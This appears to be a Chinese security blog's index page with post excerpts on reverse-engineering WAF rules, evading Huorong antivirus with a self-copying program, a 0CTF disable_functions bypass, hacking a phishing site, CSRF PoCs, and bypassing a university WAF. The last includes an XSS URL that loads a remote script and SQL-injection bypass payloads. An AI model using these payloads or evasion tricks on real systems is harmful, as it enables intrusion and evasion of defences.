博文

客串逆向工程,一瞬获取悬镜WAF规则

图片
0x01引言悬镜是我见过最恶心的WAF之一,这个拦截那个拦截,根本不搞语法分析,见到不对劲的就拦截,根本绕不过。
我的意思并不是觉得它做的太好了所以我觉得恶心,不是这样的。我就是单纯很不服气,像长亭科技的那个SQLCHOP搞的语法分析,精准拦截payload我绕不过是我菜,我输得心服口服。像悬镜这样看见/*就拦截完全是作弊嘛。
除此之外悬镜的拦截规则也很奇妙,比如说我来个id=1'它要拦截,但是id=1111'就不拦截,Union注入的测试不拦截,但是真的要查点什么敏感的东西又要拦截。这究竟是什么奇葩规则啊啊啊啊啊啊。
因此我很想一窥悬镜的规则,于是从一个搞Web的跨界逆向,抄起IDA一探究竟
0x02寻找规则打开悬镜的目录,我们可以根据名字很容易找libruleset.so文件,看起来就是处理规则的。拖到IDA里一下找到了函数

这说明那个/usr/share/xmirror/rules/apache/rule.db就是规则,哈哈哈直接放在db里面结果被我找到了。 可惜事情并没有这么简单 当我打开这个DB的时候发现这个只是配置文件,用于描述哪些防护策略生效了而并没有描述规则的具体内容 后来我多尝试了几个so文件后发现有个叫做mod_xmirrorsec.so的文件内有玄机有个叫做get_rule_set的函数尤为起眼。 这个函数直接读入xmirror_rule.so这个文件,是直接读而不是load,而这个文件之前用IDA无法识别,很显然这就是真正的规则! 0x03编写程序,读取规则 这个代码并不复杂,无非就是读取并解密。因此剩下要做的事情很简单,抄抄改改代码的事嘛。 #include<iostream> #include<openssl/aes.h> usingnamespacestd; unsignedchar ivec[16]; unsignedchar key_hex[16]; int i; long length; FILE *stream; AES_KEY key; unsignedchar * ptr; unsignedchar* plain; intmain() { for ( i = 0; i <= 0xF; ++i ) key_hex[i] = i + 32; for ( i = 0; i <= 0xF; ++i ) ive…

【短博文】火绒奇葩免杀姿势

图片
最近开始学学Windows API,莫名发现火绒奇葩行为

首先是个copy自身到windows目录的程序
#pragmawarning (disable:4996) #include<iostream> #include<Windows.h> usingnamespacestd; intmain() { char windir[100]; GetWindowsDirectory(windir, 100); char mydir[100]; GetModuleFileName(NULL, mydir, 100);
strcat(windir, "\\nimasile.exe"); CopyFile(mydir, windir, FALSE); system("pause"); } 然后被火绒无情杀灭

但想要自己不被杀,只需要加一行代码就可以了
#pragmawarning (disable:4996) #include<iostream> #include<Windows.h> usingnamespacestd; intmain() { char windir[100]; GetWindowsDirectory(windir, 100); char mydir[100]; GetModuleFileName(NULL, mydir, 100); strcat(windir, "\\nimasile.exe");     cout << "绒绒不要杀我嘤嘤嘤~" << endl; CopyFile(mydir, windir, FALSE); system("pause"); } 然后绒绒就听话地不杀了


注:本文用火绒企业版测试,但应该普通版也是一样的

从0CTF的一道Web题看LD_PRELOAD在绕过php disable_functions的应用

图片
天临警告
本文存在大量不规范引用或者你可以直接叫做抄袭,转载请勿用于商业用途以免被喷被黑被起诉 0x00写在前面的话          上周参加了个什么0ctf,毫无意外地一道没做出来,想想看自己参加的比赛次数比自己在比赛时做出的题还多,果然我还是那么菜呢嘤嘤嘤。这篇博文会综合几篇技术文章/writeup写成,但是质量上绝对不如任何我引用的文章,看到这里如果不想看了退出本文可以避免5分钟时间的浪费。
0x01题面          题目的地址为http://111.186.63.208:31340/          源码如下 <?php$dir="/tmp/".md5("$_SERVER[REMOTE_ADDR]");mkdir($dir);ini_set('open_basedir', '/var/www/html:'.$dir);?> <!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body> <preclass="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`. So I installed php-imagick in the server, opened a `backdoor` for you. Let's try to execute `/readflag` to get the flag. Open basedir: <?phpechoini_get('open_basedir');?><?phpeval($_POST["backdoor"]);?> Hint: eval($_POST["backdoor"]); </code></pre&…

入侵钓鱼站并溯源

图片
0x00 写在前面的话          本文所写的内容基本真实,但有些渗透溯源的过程为了描述的精简被修改删除。一些无关紧要的事情也被略去,但对渗透至关重要的大思路和小细节我都没放过。同时在渗透的时候我没有留下截图,很多图是我后来补上的。转载请注明出处。 0x01 引子         事情要从一周前说起。
        深夜,寝室,我照例空虚寂寞百无聊赖地刷群。
        突然看到D█小姐姐在群里面说她用了N线程给钓鱼网站交了大量垃圾信息,最后卡爆了服务器,颇为得意。         当晚我正好闲着没事,就决定小小地得罪一下这个钓鱼网站,故事就这样开始了 0x02 入侵         首先是基础的信息搜集,但是当我查询whois和微步在线之后却没有任何结果,显示的是这些注册信息被保护了,毫无结果。最后只知道同一台服务器上运行 了很多相同的钓鱼站。         好在D█小姐姐的垃圾数据并没有给服务器造成太大影响,很快服务器就恢复了并显示如下界面
        现在的钓鱼网站的制作者都很良心,界面弄得跟官方的非常相似,可不像当年那些随便画个框框就等着要密码的,毕竟时代在进步嘛。但这也不是完美的,密码那里弄成小写qq的了。         翻看钓鱼网址http://timea.icu/Ru_op/newwap.html的源码,我们可以看到作者用了document.write(unescape('   来掩饰网页源码,应该是用来防止被基于关键字拦截的防诈骗软件拦截?         而且网页里面还引用了个有趣的JS
code 区域
window.onload = function () { var date_time='2019-4-2 18:00:59'; var time = Date.parse(new Date()); var date1 = Date.parse(new Date(date_time.replace(/-/g, '/'))); if (date1 < time) { top.location.href= '/expire.html'; }; $('#expire-time').ht…

CSRF 原理 利用 防御

图片
引子     最近呢挖到某站的一个CSRF。鉴于这个站点的所有者性质有些特殊,是可以随时记过开除我的那种特殊,我就不点名是哪个站也不披露太多细节,讲讲我最近学到的一些CSRF相关的东西代替吧。 CSRF是什么   CSRF是洋文Cross-Site Request Forgery的缩写,意思是跨站请求伪造。   通常的攻击过程是受害者先登录正常网站,再被攻击者骗去访问攻击者控制的服务器,最后攻击者通过HTML/JS代码使受害者浏览器带着Cookies向正常网站发包,执行了违背受害者意愿的操作。
CSRF和XSS   好像总是听到有面试题问什么“CSRF和SSRF的区别”这个问题。说实话这个问题好像没什么好说的,这就像问知网和知乎网的区别一样。我接触到的朋友好像更难分清楚XSS和CSRF的区别,毕竟都是点一个链接就被搞了。但实际上他们区别还是很明显的,XSS是跨站脚本执行,能够以被攻击的正常网站的“身份”在受害者浏览器上面执行JS代码,一般除了需要输密码才能干的事情以外能以受害者身份在该网站上干任何事情。然而CSRF只是让受害者的浏览器发几个包,并不能操纵正常网站上的JS代码,能干的事情一般比XSS少。
CSRF的几种类型  GET型的CSRF    GET型的CSRF只需要让受害者发GET型的包就可以了    攻击者可以用以下方式使受害者浏览器发出该包
<img src="http://website" >   普通的POST型的CSRF    许多开发者一厢情愿地认为自己的敏感操作换成POST就不会被有事了,但这个观点被证明是错的。这里就讲几个不同的CSRF POST payload    首先,一个普通的攻击者可以用BURP自带的CSRF POC生成一个POC <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://127.0.0.1/dvwa-TOM/login.php" method="POST"> <input type="hidden" name="…

██大学通用型WAF不完全绕过(持续非定期更新)

图片
Update 该██大学WAF并非██大学自研,据推测只是某商用WAF 引子 每一个想日,啊呸,测试█大各个系统安全性的人都会遇到一只通用型WAF,这个冷酷的WAF一言不合就喜欢把包给reset掉。






这给各位想要刷SRC的小白帽造成了一定的困扰,本文来讲讲个人绕过这只WAF的经验。 同时如果学校负责搞这一块的人看到了,麻烦reinforce一下这个WAF,不要沉迷于炫酷的NDR和花哨的基于机器学习的防护了(求不开除)。 非默认端口导致完全绕过测试HTTPS服务测试8080/8081等端口的服务 从非主流端口刷洞往往会有惊喜哦~ 路径限制绕过 这只WAF会对访问敏感路径加以限制,但是加上参数可以绕过。 比如想访问 xxx.██.edu.cn/phpmyadmin/会被拦截,访问 xxx.██.edu.cn/phpmyadmin/?id=1可以绕过 XSS防护绕过 最直白的payload类似<script> alert('xss'); </script> 但是你可以用<script src=来远程加载脚本,并绕过防护 来一个我们网安院的XSS http://██.██.edu.cn/██/██?search=naive%22%3E%20%3Cmeta%20name=%22referrer%22%20content=%22never%22%20%3E%20%3Cscript%20src=%22https://cdn.jsdelivr.net/gh/TomAPU/xsstest/test.js%22%3E%3C/script%3E%20%3C!--

SQL注入绕过

Union注入时union select 1 from 2替换成union/*fuckyou//*a*//*!select*/1/*fuckyou//*a*//*!from*/2order by测试时直接把空格换成/**//**/

版权声明

未特殊注明情况下,允许个人博客以及公众号和安全网站无限制转载。 但是请不要拿我的文章投稿赚稿费了(我想也没有人这么坏吧,算了,先声明着假装我的文章有很多人想看想转的样子) 转载请注明出处